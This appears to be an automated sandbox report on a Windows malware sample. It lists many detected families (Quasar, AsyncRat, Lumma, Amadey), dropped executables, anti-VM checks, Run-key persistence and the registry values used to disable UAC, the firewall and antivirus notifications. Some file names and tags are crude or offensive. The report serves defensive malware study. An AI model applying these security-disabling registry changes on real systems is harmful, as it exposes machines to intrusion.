Malware Analysis Report

2025-04-13 20:57

Sample ID 250325-x9m2ravmx5
Target 07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a
SHA256 07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a
Tags
amadey asyncrat crimsonrat danabot gh0strat lokibot lumma phemedrone quasar sality sharpstealer silverrat xworm 092155 216cb1 default nigga null agilenet backdoor banker bootkit botnet collection defense_evasion discovery execution persistence pyinstaller rat spyware stealer themida trojan upx vmprotect dcrat modiloader systembc xmrig credential_access infostealer miner
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a

Threat Level: Known bad

The file 07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a was found to be: Known bad.

Malicious Activity Summary

amadey asyncrat crimsonrat danabot gh0strat lokibot lumma phemedrone quasar sality sharpstealer silverrat xworm 092155 216cb1 default nigga null agilenet backdoor banker bootkit botnet collection defense_evasion discovery execution persistence pyinstaller rat spyware stealer themida trojan upx vmprotect dcrat modiloader systembc xmrig credential_access infostealer miner

Quasar payload

Phemedrone family

Suspicious use of NtCreateUserProcessOtherParentProcess

Quasar RAT

CrimsonRat

Amadey family

Xworm family

Quasar family

Xmrig family

Lumma Stealer, LummaC

Sharp Stealer

Lokibot family

AsyncRat

Xworm

ModiLoader, DBatLoader

SystemBC

Sality family

Phemedrone

Crimsonrat family

DcRat

CrimsonRAT main payload

Modiloader family

Gh0st RAT payload

Modifies firewall policy service

Amadey

UAC bypass

Lumma family

Lokibot

Gh0strat family

Systembc family

Sality

Danabot family

xmrig

SilverRat

Detect Xworm Payload

Windows security bypass

Gh0strat

Asyncrat family

Silverrat family

Sharpstealer family

XMRig Miner payload

Dcrat family

Danabot

Danabot x86 payload

Identifies VirtualBox via ACPI registry values (likely anti-VM)

ModiLoader First Stage

DCRat payload

Async RAT payload

Blocklisted process makes network request

Downloads MZ/PE file

Uses browser remote debugging

Boot or Logon Autostart Execution: Active Setup

Command and Scripting Interpreter: PowerShell

Sets file to hidden

Loads dropped DLL

Windows security modification

Checks computer location settings

Themida packer

Checks BIOS information in registry

Identifies Wine through registry keys

Executes dropped EXE

Uses the VBS compiler for execution

Reads user/profile data of web browsers

VMProtect packed file

Obfuscated with Agile.Net obfuscator

Writes to the Master Boot Record (MBR)

Obfuscated Files or Information: Command Obfuscation

Looks up external IP address via web service

Enumerates connected drives

Indicator Removal: File Deletion

Adds Run key to start application

Accesses Microsoft Outlook profiles

Checks whether UAC is enabled

Legitimate hosting services abused for malware hosting/C2

Drops file in System32 directory

Drops autorun.inf file

Enumerates processes with tasklist

UPX packed file

Suspicious use of NtSetInformationThreadHideFromDebugger

AutoIT Executable

Suspicious use of SetThreadContext

Drops file in Program Files directory

Drops file in Windows directory

Enumerates physical storage devices

Detects Pyinstaller

Unsigned PE

Program crash

System Network Configuration Discovery: Internet Connection Discovery

System Location Discovery: System Language Discovery

outlook_office_path

NTFS ADS

Scheduled Task/Job: Scheduled Task

Delays execution with timeout.exe

Suspicious behavior: AddClipboardFormatListener

Suspicious use of AdjustPrivilegeToken

Modifies registry class

Suspicious use of FindShellTrayWindow

Uses Volume Shadow Copy WMI provider

Uses Volume Shadow Copy service COM API

Modifies registry key

Uses Task Scheduler COM API

System policy modification

Suspicious use of WriteProcessMemory

outlook_win_path

Suspicious use of SetWindowsHookEx

Modifies system certificate store

Enumerates system info in registry

Runs ping.exe

Modifies Internet Explorer settings

Suspicious behavior: EnumeratesProcesses

Modifies data under HKEY_USERS

Suspicious use of SendNotifyMessage

Views/modifies file attributes

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Reported

2025-03-25 19:33

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2025-03-25 19:33

Reported

2025-03-25 19:34

Platform

win7-20240729-en

Max time kernel

27s

Max time network

63s

Command Line

C:\Windows\system32\lsass.exe

Signatures

Amadey

trojan amadey

Amadey family

amadey

AsyncRat

rat asyncrat

Asyncrat family

asyncrat

CrimsonRAT main payload

Description Indicator Process Target
N/A N/A N/A N/A

CrimsonRat

rat crimsonrat

Crimsonrat family

crimsonrat

Danabot

trojan banker danabot

Danabot family

danabot

Danabot x86 payload

botnet
Description Indicator Process Target
N/A N/A N/A N/A

Detect Xworm Payload

Description Indicator Process Target
N/A N/A N/A N/A

Gh0st RAT payload

Description Indicator Process Target
N/A N/A N/A N/A

Gh0strat

rat gh0strat

Gh0strat family

gh0strat

Lokibot

trojan spyware stealer lokibot

Lokibot family

lokibot

Lumma Stealer, LummaC

stealer lumma

Lumma family

lumma

Modifies firewall policy service

defense_evasion
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\DoNotAllowExceptions = "0" C:\Users\Admin\AppData\Local\Temp\LoveForyou.scr N/A
Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\DisableNotifications = "1" C:\Users\Admin\AppData\Local\Temp\LoveForyou.scr N/A
Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\EnableFirewall = "0" C:\Users\Admin\AppData\Local\Temp\LoveForyou.scr N/A

Phemedrone

stealer phemedrone

Phemedrone family

phemedrone

Quasar RAT

trojan spyware quasar
Description Indicator Process Target
N/A ip-api.com N/A N/A
N/A whatismyipaddress.com N/A N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe N/A
N/A api.ipify.org N/A N/A
N/A api.ipify.org N/A N/A

Quasar family

quasar

Quasar payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Sality

backdoor sality

Sality family

sality

Sharp Stealer

stealer sharpstealer

Sharpstealer family

sharpstealer

SilverRat

trojan silverrat

Silverrat family

silverrat

Suspicious use of NtCreateUserProcessOtherParentProcess

Description Indicator Process Target
PID 2424 created 488 N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe C:\Windows\system32\lsass.exe

UAC bypass

defense_evasion trojan
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Users\Admin\AppData\Local\Temp\LoveForyou.scr N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Windows\SysWOW64\reg.exe N/A

Windows security bypass

defense_evasion trojan
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusOverride = "1" C:\Users\Admin\AppData\Local\Temp\LoveForyou.scr N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1" C:\Users\Admin\AppData\Local\Temp\LoveForyou.scr N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallDisableNotify = "1" C:\Users\Admin\AppData\Local\Temp\LoveForyou.scr N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallOverride = "1" C:\Users\Admin\AppData\Local\Temp\LoveForyou.scr N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1" C:\Users\Admin\AppData\Local\Temp\LoveForyou.scr N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UacDisableNotify = "1" C:\Users\Admin\AppData\Local\Temp\LoveForyou.scr N/A

Xworm

trojan rat xworm

Xworm family

xworm

Identifies VirtualBox via ACPI registry values (likely anti-VM)

defense_evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\TempYYQWIWPY3XQQH0RKEC8MD5OYH8MUXBM8.EXE N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\rundll32.exe N/A
N/A N/A C:\Windows\SysWOW64\rundll32.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Boot or Logon Autostart Execution: Active Setup

persistence
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components\{6BEE219E-48E8-4C50-B7B9-408E55C07806} C:\Users\Admin\AppData\Local\server.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components\{6BEE219E-48E8-4C50-B7B9-408E55C07806}\StubPath = "C:\\Users\\Admin\\AppData\\Local\\server.exe" C:\Users\Admin\AppData\Local\server.exe N/A

Sets file to hidden

defense_evasion
Description Indicator Process Target
N/A N/A C:\Windows\System32\attrib.exe N/A
N/A N/A C:\Windows\System32\attrib.exe N/A

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate C:\Users\Admin\AppData\Local\Temp\EliteMonitor.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\TempYYQWIWPY3XQQH0RKEC8MD5OYH8MUXBM8.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\TempYYQWIWPY3XQQH0RKEC8MD5OYH8MUXBM8.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\EliteMonitor.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\_[MyFamilyPies]Avi.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\0a77eae3916dbed61916324dbfeefd337b89acc1613b65d3291923caac3955cb_1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\0a-PORNOSKI.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\0f8039360c1d7be25ff412cc1d4e2edbd1841bc0336d675b5877a128d5b0f19d.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\proxyt.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1aae7dcfcb679f01938f1bfff990a87ccaaa9b9bed05ff85d64cdc7e925b83ef.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\5d2514a19b4099f082c344112df843b0bdf48c861c4dd81992758a8c10d38351.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\783e538320d6a9f69ac93e74a1296403cd8824596c535f8fc563fbbc21bf362d.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Discord Nitro Generator and Checker.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DanaBot.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2020.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\0000005d66af8b05750bd3231458a60857425334f7ee2821a627328fb79084d0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DevilRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Installer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\goofy.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\783e538320d6a9f69ac93e74a1296403cd8824596c535f8fc563fbbc21bf362d.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\FutureClient.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\nigga.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\amadey.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\AgentTesla.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\RuntimeBroker.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\RuntimeBroker.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\CrimsonRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\EliteMonitor.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\EliteMonitor.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Backdoor.Win32.Rbot.aal.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf9c950bc1e2f9cc01c4fa6a83d47227e6c0927c31d0cdb165c7799728cbea85.exe N/A
N/A N/A C:\ProgramData\a5410c88f1\bween.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Discord Free Nitros.exe N/A
N/A N/A C:\Windows\SysWOW64\sysdmkm.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2020.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DISCORD BIRTHDAY NITRO CLAIMER.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Discord Nitro Checker by Unheilgott (1).exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2020.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\LoveForyou.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Lokibot.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DISCORD BIRTHDAY NITRO CLAIMER.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf9c950bc1e2f9cc01c4fa6a83d47227e6c0927c31d0cdb165c7799728cbea85.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\malware.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\New Text Document mod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX1\love.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\VirusShare_fff8783b7567821cec8838d075d247e1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SteamOBrute.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\NetWire.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\NetWire.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\server.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\setup-25031953484.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\VirusShare_0ac0c5dc1e706e301c8f902b78c41e3b.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Remcos.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\TEAM BLUE CLIENT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX1\ForYou.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Totally A Safe File.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\putty.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\TrollRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\._cache_New Text Document mod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Unconfirmed 78105.crdownload.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Josh Bogler.exe N/A
N/A N/A C:\ProgramData\Synaptics\Synaptics.exe N/A
N/A N/A C:\Windows\SysWOW64\Userdata\Userdata.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\0000005d66af8b05750bd3231458a60857425334f7ee2821a627328fb79084d0.exe N/A
N/A N/A C:\ProgramData\Hdlharas\dlrarhsiva.exe N/A

Identifies Wine through registry keys

defense_evasion
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Wine C:\Users\Admin\AppData\Local\TempYYQWIWPY3XQQH0RKEC8MD5OYH8MUXBM8.EXE N/A
Key opened \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\0f8039360c1d7be25ff412cc1d4e2edbd1841bc0336d675b5877a128d5b0f19d.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\0f8039360c1d7be25ff412cc1d4e2edbd1841bc0336d675b5877a128d5b0f19d.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\0f8039360c1d7be25ff412cc1d4e2edbd1841bc0336d675b5877a128d5b0f19d.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\0f8039360c1d7be25ff412cc1d4e2edbd1841bc0336d675b5877a128d5b0f19d.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe N/A
N/A N/A C:\Windows\SysWOW64\rundll32.exe N/A
N/A N/A C:\Windows\SysWOW64\rundll32.exe N/A
N/A N/A C:\Windows\SysWOW64\rundll32.exe N/A
N/A N/A C:\Windows\SysWOW64\rundll32.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\RuntimeBroker.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\EliteMonitor.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\amadey.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2020.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2020.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe N/A
N/A N/A C:\Windows\system32\conhost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DISCORD BIRTHDAY NITRO CLAIMER.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf9c950bc1e2f9cc01c4fa6a83d47227e6c0927c31d0cdb165c7799728cbea85.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DISCORD BIRTHDAY NITRO CLAIMER.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DISCORD BIRTHDAY NITRO CLAIMER.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf9c950bc1e2f9cc01c4fa6a83d47227e6c0927c31d0cdb165c7799728cbea85.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf9c950bc1e2f9cc01c4fa6a83d47227e6c0927c31d0cdb165c7799728cbea85.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DISCORD BIRTHDAY NITRO CLAIMER.exe N/A

Obfuscated with Agile.Net obfuscator

agilenet
Description Indicator Process Target
N/A N/A N/A N/A

Reads user/profile data of web browsers

spyware stealer

Themida packer

themida
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Uses the VBS compiler for execution

VMProtect packed file

vmprotect
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Windows security modification

defense_evasion trojan
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\Svc C:\Users\Admin\AppData\Local\Temp\LoveForyou.scr N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusOverride = "1" C:\Users\Admin\AppData\Local\Temp\LoveForyou.scr N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1" C:\Users\Admin\AppData\Local\Temp\LoveForyou.scr N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallDisableNotify = "1" C:\Users\Admin\AppData\Local\Temp\LoveForyou.scr N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallOverride = "1" C:\Users\Admin\AppData\Local\Temp\LoveForyou.scr N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1" C:\Users\Admin\AppData\Local\Temp\LoveForyou.scr N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UacDisableNotify = "1" C:\Users\Admin\AppData\Local\Temp\LoveForyou.scr N/A

Accesses Microsoft Outlook profiles

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook C:\Users\Admin\AppData\Local\Temp\DevilRAT.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook C:\Users\Admin\AppData\Local\Temp\DevilRAT.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook C:\Users\Admin\AppData\Local\Temp\DevilRAT.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\Realtek¸ßÇåÎúÒôƵ¹ÜÀíÆ÷ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\svchost.exe" C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Windows\CurrentVersion\Run\Server = "C:\\Users\\Admin\\AppData\\Local\\server.exe" C:\Users\Admin\AppData\Local\server.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\Synaptics Pointing Device Driver = "C:\\ProgramData\\Synaptics\\Synaptics.exe" C:\Users\Admin\AppData\Local\Temp\New Text Document mod.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Windows\CurrentVersion\Run\remcos = "\"C:\\Windows\\SysWOW64\\Userdata\\Userdata.exe\"" C:\Windows\SysWOW64\Userdata\Userdata.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Windows\CurrentVersion\Run\skypee = "C:\\Windows\\Skypee\\skypee.exe" C:\Windows\SysWOW64\reg.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Windows\CurrentVersion\Run\NTWRM = "C:\\Users\\Admin\\dane\\0a-PORNOSKI.exe" C:\Users\Admin\AppData\Local\Temp\0a-PORNOSKI.exe N/A
